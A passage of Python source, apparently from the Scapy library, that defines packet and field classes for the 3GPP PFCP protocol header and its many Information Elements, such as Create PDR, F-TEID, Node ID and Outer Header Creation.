p[:2] + struct.pack("!H", tmp_len) + p[4:] return p class PFCP(PFCPLengthMixin, Packet): # 3GPP TS 29.244 V15.6.0 (2019-07) # without the version name = "PFCP (v1) Header" fields_desc = [ BitField("version", 1, 3), XBitField("spare_b2", 0, 1), XBitField("spare_b3", 0, 1), XBitField("spare_b4", 0, 1), BitField("MP", 0, 1), BitField("S", 1, 1), ByteEnumField("message_type", None, PFCPmessageType), ShortField("length", None), ConditionalField(XLongField("seid", 0), lambda pkt:pkt.S == 1), ThreeBytesField("seq", 0), ConditionalField(BitField("priority", 0, 4), lambda pkt:pkt.MP == 1), ConditionalField(BitField("spare_p", 0, 4), lambda pkt:pkt.MP == 1), ConditionalField(ByteField("spare_oct", 0), lambda pkt:pkt.MP == 0), ] def hashret(self): return struct.pack("B", self.version) + struct.pack("I", self.seq) + \ self.payload.hashret() def answers(self, other): return (isinstance(other, PFCP) and self.version == other.version and self.seq == other.seq and self.payload.answers(other.payload)) class APNStrLenField(StrLenField): # Inspired by DNSStrField def m2i(self, pkt, s): ret_s = b"" tmp_s = s while tmp_s: tmp_len = orb(tmp_s[0]) + 1 if tmp_len > len(tmp_s): warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 ret_s += tmp_s[1:tmp_len] tmp_s = tmp_s[tmp_len:] if len(tmp_s): ret_s += b"." s = ret_s return s def i2m(self, pkt, s): s = b"".join(chb(len(x)) + x for x in s.split(b".")) return s class ExtraDataField(StrField): def __init__(self, name, default=b""): StrField.__init__(self, name, default) def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): # + 4 accounts for the ietype and length fields p = len(pkt.original) - len(s) length = pkt.length + 4 - p return s[length:], self.m2i(pkt, s[:length]) def randval(self): return RandBin(RandNum(0, 2)) class Int40Field(Field): def __init__(self, name, default): Field.__init__(self, name, default, "BI") def addfield(self, pkt, s, val): val = self.i2m(pkt, val) return s + struct.pack("!BI", val >> 32, val & 0xffffffff) def getfield(self, pkt, s): hi, lo = struct.unpack("!BI", s[:5]) return s[5:], self.m2i(pkt, (hi << 32) + lo) def randval(self): return RandNum(0, 2**40 - 1) def IE_Dispatcher(s): """Choose the correct Information Element class.""" # Get the IE type ietype = (orb(s[0]) * 256) + orb(s[1]) if ietype & 0x8000: return IE_EnterpriseSpecific(s) cls = ietypecls.get(ietype, Raw) if cls is Raw: cls = IE_NotImplemented return cls(s) class IE_Base(PFCPLengthMixin, Packet): default_length = None def __init__(self, *args, **kwargs): self.fields_desc[0].default = self.ie_type self.fields_desc[1].default = self.default_length super(IE_Base, self).__init__(*args, **kwargs) def extract_padding(self, pkt): return "", pkt fields_desc = [ ShortEnumField("ietype", 0, IEType), ShortField("length", None) ] class IE_Compound(IE_Base): fields_desc = IE_Base.fields_desc + [ PacketListField("IE_list", None, IE_Dispatcher, length_from=lambda pkt: pkt.length) ] class IE_CreatePDR(IE_Compound): name = "IE Create PDR" ie_type = 1 class IE_PDI(IE_Compound): name = "IE PDI" ie_type = 2 class IE_CreateFAR(IE_Compound): name = "IE Create FAR" ie_type = 3 class IE_ForwardingParameters(IE_Compound): name = "IE Forwarding Parameters" ie_type = 4 class IE_DuplicatingParameters(IE_Compound): name = "IE Duplicating Parameters" ie_type = 5 class IE_CreateURR(IE_Compound): name = "IE Create URR" ie_type = 6 class IE_CreateQER(IE_Compound): name = "IE Create QER" ie_type = 7 class IE_CreatedPDR(IE_Compound): name = "IE Created PDR" ie_type = 8 class IE_UpdatePDR(IE_Compound): name = "IE Update PDR" ie_type = 9 class IE_UpdateFAR(IE_Compound): name = "IE Update FAR" ie_type = 10 class IE_UpdateForwardingParameters(IE_Compound): name = "IE Update Forwarding Parameters" ie_type = 11 class IE_UpdateBAR_SRR(IE_Compound): name = "IE Update BAR (PFCP Session Report Response)" ie_type = 12 class IE_UpdateURR(IE_Compound): name = "IE Update URR" ie_type = 13 class IE_UpdateQER(IE_Compound): name = "IE Update QER" ie_type = 14 class IE_RemovePDR(IE_Compound): name = "IE Remove PDR" ie_type = 15 class IE_RemoveFAR(IE_Compound): name = "IE Remove FAR" ie_type = 16 class IE_RemoveURR(IE_Compound): name = "IE Remove URR" ie_type = 17 class IE_RemoveQER(IE_Compound): name = "IE Remove QER" ie_type = 18 class IE_LoadControlInformation(IE_Compound): name = "IE Load Control Information" ie_type = 51 class IE_OverloadControlInformation(IE_Compound): name = "IE Overload Control Information" ie_type = 54 class IE_ApplicationID_PFDs(IE_Compound): name = "IE Application ID's PFDs" ie_type = 58 class IE_PFDContext(IE_Compound): name = "IE PFD context" ie_type = 59 class IE_ApplicationDetectionInformation(IE_Compound): name = "IE Application Detection Information" ie_type = 68 class IE_QueryURR(IE_Compound): name = "IE Query URR" ie_type = 77 class IE_UsageReport_SMR(IE_Compound): name = "IE Usage Report (Session Modification Response)" ie_type = 78 class IE_UsageReport_SDR(IE_Compound): name = "IE Usage Report (Session Deletion Response)" ie_type = 79 class IE_UsageReport_SRR(IE_Compound): name = "IE Usage Report (Session Report Request)" ie_type = 80 class IE_DownlinkDataReport(IE_Compound): name = "IE Downlink Data Report" ie_type = 83 class IE_Create_BAR(IE_Compound): name = "IE Create BAR" ie_type = 85 class IE_Update_BAR_SMR(IE_Compound): name = "IE Update BAR (Session Modification Request)" ie_type = 86 class IE_Remove_BAR(IE_Compound): name = "IE Remove BAR" ie_type = 87 class IE_ErrorIndicationReport(IE_Compound): name = "IE Error Indication Report" ie_type = 99 class IE_UserPlanePathFailureReport(IE_Compound): name = "IE User Plane Path Failure Report" ie_type = 102 class IE_UpdateDuplicatingParameters(IE_Compound): name = "IE Update Duplicating Parameters" ie_type = 105 class IE_AggregatedURRs(IE_Compound): name = "IE Aggregated URRs" ie_type = 118 class IE_CreateTrafficEndpoint(IE_Compound): name = "IE Create Traffic Endpoint" ie_type = 127 class IE_CreatedTrafficEndpoint(IE_Compound): name = "IE Created Traffic Endpoint" ie_type = 128 class IE_UpdateTrafficEndpoint(IE_Compound): name = "IE Update Traffic Endpoint" ie_type = 129 class IE_RemoveTrafficEndpoint(IE_Compound): name = "IE Remove Traffic Endpoint" ie_type = 130 class IE_EthernetPacketFilter(IE_Compound): name = "IE Ethernet Packet Filter" ie_type = 132 class IE_EthernetTrafficInformation(IE_Compound): name = "IE Ethernet Traffic Information" ie_type = 143 class IE_AdditionalMonitoringTime(IE_Compound): name = "IE Additional Monitoring Time" ie_type = 147 class IE_Cause(IE_Base): ie_type = 19 name = "IE Cause" fields_desc = IE_Base.fields_desc + [ ByteEnumField("cause", None, CauseValues) ] class IE_SourceInterface(IE_Base): name = "IE Source Interface" ie_type = 20 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("interface", "Access", 4, SourceInterface), ExtraDataField("extra_data"), ] class IE_FTEID(IE_Base): name = "IE F-TEID" ie_type = 21 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("CHID", 0, 1), BitField("CH", 0, 1), BitField("V6", 0, 1), BitField("V4", 0, 1), ConditionalField(XIntField("TEID", 0), lambda x: x.CH == 0), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1 and x.CH == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1 and x.CH == 0), ConditionalField(ByteField("choose_id", 0), lambda x: x.CHID == 1), ExtraDataField("extra_data"), ] class IE_NetworkInstance(IE_Base): name = "IE Network Instance" ie_type = 22 fields_desc = IE_Base.fields_desc + [ APNStrLenField("instance", "", length_from=lambda x: x.length) ] class IE_SDF_Filter(IE_Base): name = "IE SDF Filter" ie_type = 23 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 3), BitField("BID", 0, 1), BitField("FL", 0, 1), BitField("SPI", 0, 1), BitField("TTC", 0, 1), BitField("FD", 0, 1), ByteField("spare_oct", 0), ConditionalField(FieldLenField("flow_description_length", None, length_of="flow_description"), lambda pkt: pkt.FD == 1), ConditionalField(StrLenField("flow_description", "", length_from=lambda pkt: pkt.flow_description_length), lambda pkt: pkt.FD == 1), ConditionalField(ByteField("tos_traffic_class", 0), lambda pkt: pkt.TTC == 1), ConditionalField(ByteField("tos_traffic_mask", 0), lambda pkt: pkt.TTC == 1), ConditionalField(IntField("security_parameter_index", 0), lambda pkt: pkt.SPI == 1), ConditionalField(ThreeBytesField("flow_label", 0), lambda pkt: pkt.FL == 1), ConditionalField(IntField("sdf_filter_id", 0), lambda pkt: pkt.BID == 1), ExtraDataField("extra_data"), ] class IE_ApplicationId(IE_Base): name = "IE Application ID" ie_type = 24 fields_desc = IE_Base.fields_desc + [ StrLenField("id", "", length_from=lambda x: x.length), ] class IE_GateStatus(IE_Base): name = "IE Gate Status" ie_type = 25 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("ul", "OPEN", 2, GateStatus), BitEnumField("dl", "OPEN", 2, GateStatus), ExtraDataField("extra_data"), ] class IE_MBR(IE_Base): name = "IE MBR" ie_type = 26 fields_desc = IE_Base.fields_desc + [ Int40Field("ul", 0), Int40Field("dl", 0), ExtraDataField("extra_data"), ] class IE_GBR(IE_Base): name = "IE GBR" ie_type = 27 fields_desc = IE_Base.fields_desc + [ Int40Field("ul", 0), Int40Field("dl", 0), ExtraDataField("extra_data"), ] class IE_QERCorrelationId(IE_Base): name = "IE QER Correlation ID" ie_type = 28 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_Precedence(IE_Base): name = "IE Precedence" ie_type = 29 fields_desc = IE_Base.fields_desc + [ IntField("precedence", 0), ExtraDataField("extra_data"), ] class IE_TransportLevelMarking(IE_Base): name = "IE Transport Level Marking" ie_type = 30 fields_desc = IE_Base.fields_desc + [ XByteField("tos", 0), XByteField("traffic_class", 0), ExtraDataField("extra_data"), ] class IE_VolumeThreshold(IE_Base): name = "IE Volume Threshold" ie_type = 31 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_TimeThreshold(IE_Base): name = "IE Time Threshold" ie_type = 32 fields_desc = IE_Base.fields_desc + [ IntField("threshold", 0), ExtraDataField("extra_data"), ] class IE_MonitoringTime(IE_Base): name = "IE Monitoring Time" ie_type = 33 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_SubsequentVolumeThreshold(IE_Base): name = "IE Subsequent Volume Threshold" ie_type = 34 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_SubsequentTimeThreshold(IE_Base): name = "IE Subsequent Time Threshold" ie_type = 35 fields_desc = IE_Base.fields_desc + [ IntField("threshold", 0), ExtraDataField("extra_data"), ] class IE_InactivityDetectionTime(IE_Base): name = "IE Inactivity Detection Time" ie_type = 36 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_ReportingTriggers(IE_Base): name = "IE Reporting Triggers" ie_type = 37 fields_desc = IE_Base.fields_desc + [ BitField("linked_usage_reporting", 0, 1), BitField("dropped_dl_traffic_threshold", 0, 1), BitField("stop_of_traffic", 0, 1), BitField("start_of_traffic", 0, 1), BitField("quota_holding_time", 0, 1), BitField("time_threshold", 0, 1), BitField("volume_threshold", 0, 1), BitField("periodic_reporting", 0, 1), XBitField("spare", 0, 2), BitField("event_quota", 0, 1), BitField("event_threshold", 0, 1), BitField("mac_addresses_reporting", 0, 1), BitField("envelope_closure", 0, 1), BitField("time_quota", 0, 1), BitField("volume_quota", 0, 1), ExtraDataField("extra_data"), ] class IE_RedirectInformation(IE_Base): name = "IE Redirect Information" ie_type = 38 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("type", "IPv4 address", 4, RedirectAddressType), FieldLenField("address_length", None, length_of="address"), StrLenField("address", "", length_from=lambda pkt: pkt.address_length), ExtraDataField("extra_data"), ] class IE_ReportType(IE_Base): name = "IE Report Type" ie_type = 39 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UPIR", 0, 1), BitField("ERIR", 0, 1), BitField("USAR", 0, 1), BitField("DLDR", 0, 1), ExtraDataField("extra_data"), ] class IE_OffendingIE(IE_Base): name = "IE Offending IE" ie_type = 40 fields_desc = IE_Base.fields_desc + [ ShortEnumField("type", None, IEType) ] class IE_ForwardingPolicy(IE_Base): name = "IE Forwarding Policy" ie_type = 41 fields_desc = IE_Base.fields_desc + [ FieldLenField("policy_identifier_length", None, length_of="policy_identifier", fmt="B"), StrLenField("policy_identifier", "", length_from=lambda pkt: pkt.policy_identifier_length) ] class IE_DestinationInterface(IE_Base): name = "IE Destination Interface" ie_type = 42 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("interface", "Access", 4, DestinationInterface), ExtraDataField("extra_data"), ] class IE_UPFunctionFeatures(IE_Base): name = "IE UP Function Features" ie_type = 43 default_length = 2 fields_desc = IE_Base.fields_desc + [ ConditionalField(BitField("TREU", None, 1), lambda x: x.length > 0), ConditionalField(BitField("HEEU", None, 1), lambda x: x.length > 0), ConditionalField(BitField("PFDM", None, 1), lambda x: x.length > 0), ConditionalField(BitField("FTUP", None, 1), lambda x: x.length > 0), ConditionalField(BitField("TRST", None, 1), lambda x: x.length > 0), ConditionalField(BitField("DLBD", None, 1), lambda x: x.length > 0), ConditionalField(BitField("DDND", None, 1), lambda x: x.length > 0), ConditionalField(BitField("BUCP", None, 1), lambda x: x.length > 0), ConditionalField(BitField("spare", None, 1), lambda x: x.length > 1), ConditionalField(BitField("PFDE", None, 1), lambda x: x.length > 1), ConditionalField(BitField("FRRT", None, 1), lambda x: x.length > 1), ConditionalField(BitField("TRACE", None, 1), lambda x: x.length > 1), ConditionalField(BitField("QUOAC", None, 1), lambda x: x.length > 1), ConditionalField(BitField("UDBC", None, 1), lambda x: x.length > 1), ConditionalField(BitField("PDIU", None, 1), lambda x: x.length > 1), ConditionalField(BitField("EMPU", None, 1), lambda x: x.length > 1), ExtraDataField("extra_data"), ] class IE_ApplyAction(IE_Base): name = "IE Apply Action" ie_type = 44 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 3), BitField("DUPL", 0, 1), BitField("NOCP", 0, 1), BitField("BUFF", 0, 1), BitField("FORW", 0, 1), BitField("DROP", 0, 1), ExtraDataField("extra_data"), ] class IE_DownlinkDataServiceInformation(IE_Base): name = "IE Downlink Data Service Information" ie_type = 45 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", None, 6), BitField("QFII", 0, 1), BitField("PPI", 0, 1), ConditionalField( XBitField("spare_2", None, 2), lambda x: x.PPI == 1), ConditionalField( XBitField("ppi_val", None, 6), lambda x: x.PPI == 1), ConditionalField( XBitField("spare_3", None, 2), lambda x: x.QFII == 1), ConditionalField( XBitField("qfi_val", None, 6), lambda x: x.QFII == 1), ExtraDataField("extra_data"), ] class IE_DownlinkDataNotificationDelay(IE_Base): name = "IE Downlink Data Notification Delay" ie_type = 46 fields_desc = IE_Base.fields_desc + [ ByteField("delay", 0), # in multiples of 50 ExtraDataField("extra_data"), ] class IE_DLBufferingDuration(IE_Base): name = "IE DL Buffering Duration" ie_type = 47 fields_desc = IE_Base.fields_desc + [ BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), BitField("timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_DLBufferingSuggestedPacketCount(IE_Base): name = "IE DL Buffering Suggested Packet Count" ie_type = 48 fields_desc = IE_Base.fields_desc + [ MultipleTypeField([ ( ByteField("count", 0), (lambda x: x.length == 1, lambda x, val: x.length == 1 or (x.length is None and val < 256)), ), ( ShortField("count", 0), (lambda x: x.length == 2, lambda x, val: x.length == 1 or (x.length is None and val >= 256)) ), ], ByteField("count", 0)) ] class IE_PFCPSMReqFlags(IE_Base): name = "IE PFCPSMReq-Flags" ie_type = 49 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 5), BitField("QUARR", 0, 1), BitField("SNDEM", 0, 1), BitField("DROBU", 0, 1), ExtraDataField("extra_data"), ] class IE_PFCPSRRspFlags(IE_Base): name = "IE PFCPSRRsp-Flags" ie_type = 50 fields_desc = IE_Base.fields_desc + [ XBitField("spare", None, 7), BitField("DROBU", 0, 1), ExtraDataField("extra_data"), ] class IE_SequenceNumber(IE_Base): name = "IE Sequence Number" ie_type = 52 fields_desc = IE_Base.fields_desc + [ IntField("number", 0), ] class IE_Metric(IE_Base): name = "IE Metric" ie_type = 53 fields_desc = IE_Base.fields_desc + [ ByteField("metric", 0), ] class IE_Timer(IE_Base): name = "IE Timer" ie_type = 55 fields_desc = IE_Base.fields_desc + [ BitEnumField("timer_unit", "2 seconds", 3, TimerUnit), BitField("timer_value", 0, 5), ExtraDataField("extra_data"), ] class IE_PDR_Id(IE_Base): name = "IE PDR ID" ie_type = 56 fields_desc = IE_Base.fields_desc + [ ShortField("id", 0), ExtraDataField("extra_data"), ] class IE_FSEID(IE_Base): name = "IE F-SEID" ie_type = 57 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("v4", 0, 1), BitField("v6", 0, 1), XLongField("seid", 0), ConditionalField(IPField("ipv4", 0), lambda x: x.v4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.v6 == 1), ExtraDataField("extra_data"), ] class IE_NodeId(IE_Base): name = "IE Node ID" ie_type = 60 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitEnumField("id_type", "IPv4", 4, NodeIdType), ConditionalField(IPField("ipv4", 0), lambda x: x.id_type == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.id_type == 1), ConditionalField( APNStrLenField("id", "", length_from=lambda x: x.length - 1), lambda x: x.id_type == 2), ExtraDataField("extra_data"), ] class IE_PFDContents(IE_Base): name = "IE PFD contents" ie_type = 61 fields_desc = IE_Base.fields_desc + [ BitField("ADNP", 0, 1), BitField("AURL", 0, 1), BitField("AFD", 0, 1), BitField("DNP", 0, 1), BitField("CP", 0, 1), BitField("DN", 0, 1), BitField("URL", 0, 1), BitField("FD", 0, 1), ByteField("spare_2", 0), ConditionalField(FieldLenField("flow_length", None, length_of="flow"), lambda pkt: pkt.FD == 1), ConditionalField(StrLenField("flow", "", length_from=lambda pkt: pkt.flow_length), lambda pkt: pkt.FD == 1), ConditionalField(FieldLenField("url_length", None, length_of="url"), lambda pkt: pkt.URL == 1), ConditionalField(StrLenField("url", "", length_from=lambda pkt: pkt.url_length), lambda pkt: pkt.URL == 1), ConditionalField(FieldLenField("domain_length", None, length_of="domain"), lambda pkt: pkt.DN == 1), ConditionalField( StrLenField("domain", "", length_from=lambda pkt: pkt.domain_length), lambda pkt: pkt.DN == 1), ConditionalField(FieldLenField("custom_length", None, length_of="custom"), lambda pkt: pkt.CP == 1), ConditionalField( StrLenField("custom", "", length_from=lambda pkt: pkt.custom_length), lambda pkt: pkt.CP == 1), ConditionalField(FieldLenField("dnp_length", None, length_of="dnp"), lambda pkt: pkt.DNP == 1), ConditionalField(StrLenField("dnp", "", length_from=lambda pkt: pkt.dnp_length), lambda pkt: pkt.DNP == 1), ConditionalField(FieldLenField("additional_flow_length", None, length_of="additional_flow"), lambda pkt: pkt.AFD == 1), ConditionalField( StrLenField("additional_flow", "", length_from=lambda pkt: pkt.additional_flow_length), lambda pkt: pkt.AFD == 1), ConditionalField(FieldLenField("additional_url_length", None, length_of="additional_url"), lambda pkt: pkt.AURL == 1), ConditionalField( StrLenField("additional_url", "", length_from=lambda pkt: pkt.additional_url_length), lambda pkt: pkt.AURL == 1), ConditionalField( FieldLenField("additional_dn_dnp_length", None, length_of="additional_dn_dnp"), lambda pkt: pkt.ADNP == 1), ConditionalField( StrLenField("additional_dn_dnp", "", length_from=lambda pkt: pkt.additional_dn_dnp_length), lambda pkt: pkt.ADNP == 1), ExtraDataField("extra_data"), ] class IE_MeasurementMethod(IE_Base): name = "IE Measurement Method" ie_type = 62 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("EVENT", 0, 1), BitField("VOLUM", 0, 1), BitField("DURAT", 0, 1), ExtraDataField("extra_data"), ] class IE_UsageReportTrigger(IE_Base): name = "IE Usage Report Trigger" ie_type = 63 fields_desc = IE_Base.fields_desc + [ BitField("IMMER", 0, 1), BitField("DROTH", 0, 1), BitField("STOPT", 0, 1), BitField("START", 0, 1), BitField("QUHTI", 0, 1), BitField("TIMTH", 0, 1), BitField("VOLTH", 0, 1), BitField("PERIO", 0, 1), BitField("EVETH", 0, 1), BitField("MACAR", 0, 1), BitField("ENVCL", 0, 1), BitField("MONIT", 0, 1), BitField("TERMR", 0, 1), BitField("LIUSA", 0, 1), BitField("TIMQU", 0, 1), BitField("VOLQU", 0, 1), ExtraDataField("extra_data"), ] class IE_MeasurementPeriod(IE_Base): name = "IE Measurement Period" ie_type = 64 fields_desc = IE_Base.fields_desc + [ IntField("period", 0), ExtraDataField("extra_data"), ] class IE_FqCSID(IE_Base): name = "IE FQ-CSID" ie_type = 65 fields_desc = IE_Base.fields_desc + [ BitEnumField("node_id_type", "IPv4", 4, FqCSIDNodeIdType), BitFieldLenField("num_csids", None, 4, count_of="csids"), ConditionalField(IPField("ipv4", 0), lambda x: x.node_id_type == 0), ConditionalField(IP6Field("ipv6", 0), lambda x: x.node_id_type == 1), ConditionalField( # FIXME: split (value = mcc * 1000 + mnc) BitField("mcc_mnc", 0, 20), lambda x: x.node_id_type == 2), # "Least significant 12 bits is a 12 bit integer assigned by # an operator to an MME, SGW-C, SGW-U, PGW-C or PGW-U." ConditionalField( BitField("extra_id", 0, 12), lambda x: x.node_id_type == 2), FieldListField("csids", None, ShortField("csid", 0), count_from=lambda x: x.num_csids), ExtraDataField("extra_data"), ] class IE_VolumeMeasurement(IE_Base): name = "IE Volume Measurement" ie_type = 66 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_DurationMeasurement(IE_Base): name = "IE Duration Measurement" ie_type = 67 fields_desc = IE_Base.fields_desc + [ IntField("duration", 0), ExtraDataField("extra_data"), ] class IE_TimeOfFirstPacket(IE_Base): name = "IE Time of First Packet" ie_type = 69 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_TimeOfLastPacket(IE_Base): name = "IE Time of Last Packet" ie_type = 70 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_QuotaHoldingTime(IE_Base): name = "IE Quota Holding Time" ie_type = 71 fields_desc = IE_Base.fields_desc + [ IntField("time_value", 0), ExtraDataField("extra_data"), ] class IE_DroppedDLTrafficThreshold(IE_Base): name = "IE Dropped DL Traffic Threshold" ie_type = 72 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("DLBY", 0, 1), BitField("DLPA", 0, 1), ConditionalField(LongField("packet_count", 0), lambda x: x.DLPA == 1), ConditionalField(LongField("byte_count", 0), lambda x: x.DLBY == 1), ExtraDataField("extra_data"), ] class IE_VolumeQuota(IE_Base): name = "IE Volume Quota" ie_type = 73 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("DLVOL", 0, 1), BitField("ULVOL", 0, 1), BitField("TOVOL", 0, 1), ConditionalField(XLongField("total", 0), lambda x: x.TOVOL == 1), ConditionalField(XLongField("uplink", 0), lambda x: x.ULVOL == 1), ConditionalField(XLongField("downlink", 0), lambda x: x.DLVOL == 1), ExtraDataField("extra_data"), ] class IE_TimeQuota(IE_Base): name = "IE Time Quota" ie_type = 74 fields_desc = IE_Base.fields_desc + [ IntField("quota", 0), ExtraDataField("extra_data"), ] class IE_StartTime(IE_Base): name = "IE Start Time" ie_type = 75 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_EndTime(IE_Base): name = "IE End Time" ie_type = 76 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_URR_Id(IE_Base): name = "IE URR ID" ie_type = 81 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_LinkedURR_Id(IE_Base): name = "IE Linked URR ID" ie_type = 82 fields_desc = IE_Base.fields_desc + [ IntField("id", 0), ExtraDataField("extra_data"), ] class IE_OuterHeaderCreation(IE_Base): name = "IE Outer Header Creation" ie_type = 84 fields_desc = IE_Base.fields_desc + [ BitField("STAG", 0, 1), BitField("CTAG", 0, 1), BitField("IPV6", 0, 1), BitField("IPV4", 0, 1), BitField("UDPIPV6", 0, 1), BitField("UDPIPV4", 0, 1), BitField("GTPUUDPIPV6", 0, 1), BitField("GTPUUDPIPV4", 0, 1), ByteField("spare", 0), ConditionalField(XIntField("TEID", 0), lambda x: x.GTPUUDPIPV4 == 1 or x.GTPUUDPIPV6 == 1), ConditionalField(IPField("ipv4", 0), lambda x: x.IPV4 == 1 or x.UDPIPV4 == 1 or x.GTPUUDPIPV4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.IPV6 == 1 or x.UDPIPV6 == 1 or x.GTPUUDPIPV6 == 1), ConditionalField(ShortField("port", 0), lambda x: x.UDPIPV4 == 1 or x.UDPIPV6 == 1), ConditionalField(ThreeBytesField("ctag", 0), lambda x: x.CTAG == 1), ConditionalField(ThreeBytesField("stag", 0), lambda x: x.STAG == 1), ExtraDataField("extra_data"), ] class IE_BAR_Id(IE_Base): name = "IE BAR ID" ie_type = 88 fields_desc = IE_Base.fields_desc + [ ByteField("id", 0), ExtraDataField("extra_data"), ] class IE_CPFunctionFeatures(IE_Base): name = "IE CP Function Features" ie_type = 89 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 6), BitField("OVRL", 0, 1), BitField("LOAD", 0, 1), ExtraDataField("extra_data"), ] class IE_UsageInformation(IE_Base): name = "IE Usage Information" ie_type = 90 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 4), BitField("UBE", 0, 1), BitField("UAE", 0, 1), BitField("AFT", 0, 1), BitField("BEF", 0, 1), ExtraDataField("extra_data"), ] class IE_ApplicationInstanceId(IE_Base): name = "IE Application Instance ID" ie_type = 91 fields_desc = IE_Base.fields_desc + [ StrLenField("id", "", length_from=lambda x: x.length) ] class IE_FlowInformation(IE_Base): name = "IE Flow Information" ie_type = 92 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitEnumField("direction", "Unspecified", 3, FlowDirection), FieldLenField("flow_length", None, length_of="flow"), StrLenField("flow", "", length_from=lambda x: x.flow_length), ExtraDataField("extra_data"), ] class IE_UE_IP_Address(IE_Base): name = "IE UE IP Address" ie_type = 93 fields_desc = IE_Base.fields_desc + [ XBitField("spare", 0, 5), BitField("SD", 0, 1), # source or dest BitField("V4", 0, 1), BitField("V6", 0, 1), ConditionalField(IPField("ipv4", 0), lambda x: x.V4 == 1), ConditionalField(IP6Field("ipv6", 0), lambda x: x.V6 == 1), ExtraDataField("extra_data"), ] class IE_PacketRate(IE_Base): name = "IE Packet Rate" ie_type = 94 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 6), BitField("DLPR", 0, 1), BitField("ULPR", 0, 1), ConditionalField(BitField("spare_2", 0, 5), lambda x: x.ULPR == 1), ConditionalField(BitEnumField("ul_time_unit", "minute", 3, TimeUnit), lambda x: x.ULPR == 1), ConditionalField(ShortField("ul_max_packet_rate", 0), lambda x: x.ULPR == 1), ConditionalField(BitField("spare_3", 0, 5), lambda x: x.DLPR == 1), ConditionalField(BitEnumField("dl_time_unit", "minute", 3, TimeUnit), lambda x: x.DLPR == 1), ConditionalField(ShortField("dl_max_packet_rate", 0), lambda x: x.DLPR == 1), ExtraDataField("extra_data"), ] class IE_OuterHeaderRemoval(IE_Base): name = "IE Outer Header Removal" ie_type = 95 fields_desc = IE_Base.fields_desc + [ ByteEnumField("header", None, OuterHeaderRemovalDescription), ConditionalField(XBitField("spare", None, 7), lambda x: x.length is not None and x.length > 1), ConditionalField(BitField("pdu_session_container", None, 1), lambda x: x.length is not None and x.length > 1), ExtraDataField("extra_data"), ] class IE_RecoveryTimeStamp(IE_Base): name = "IE Recovery Time Stamp" ie_type = 96 default_length = 4 fields_desc = IE_Base.fields_desc + [ IntField("timestamp", 0), ExtraDataField("extra_data"), ] class IE_DLFlowLevelMarking(IE_Base): name = "IE DL Flow Level Marking" ie_type = 97 fields_desc = IE_Base.fields_desc + [ XBitField("spare_1", 0, 6), BitField("SCI", 0, 1), BitField("TTC", 0, 1), ConditionalField(ByteField("traffic_class", 0), lambda x: x.TTC), ConditionalField(ByteField("traffic_class_mask", 0), lambda x: x.TTC), ConditionalField(ByteField("service_class_indicator", 0), lambda x: x.SCI), ConditionalField(ByteField("spare_2", 0), lambda x: x.SCI), ExtraDataField("extra_data"), 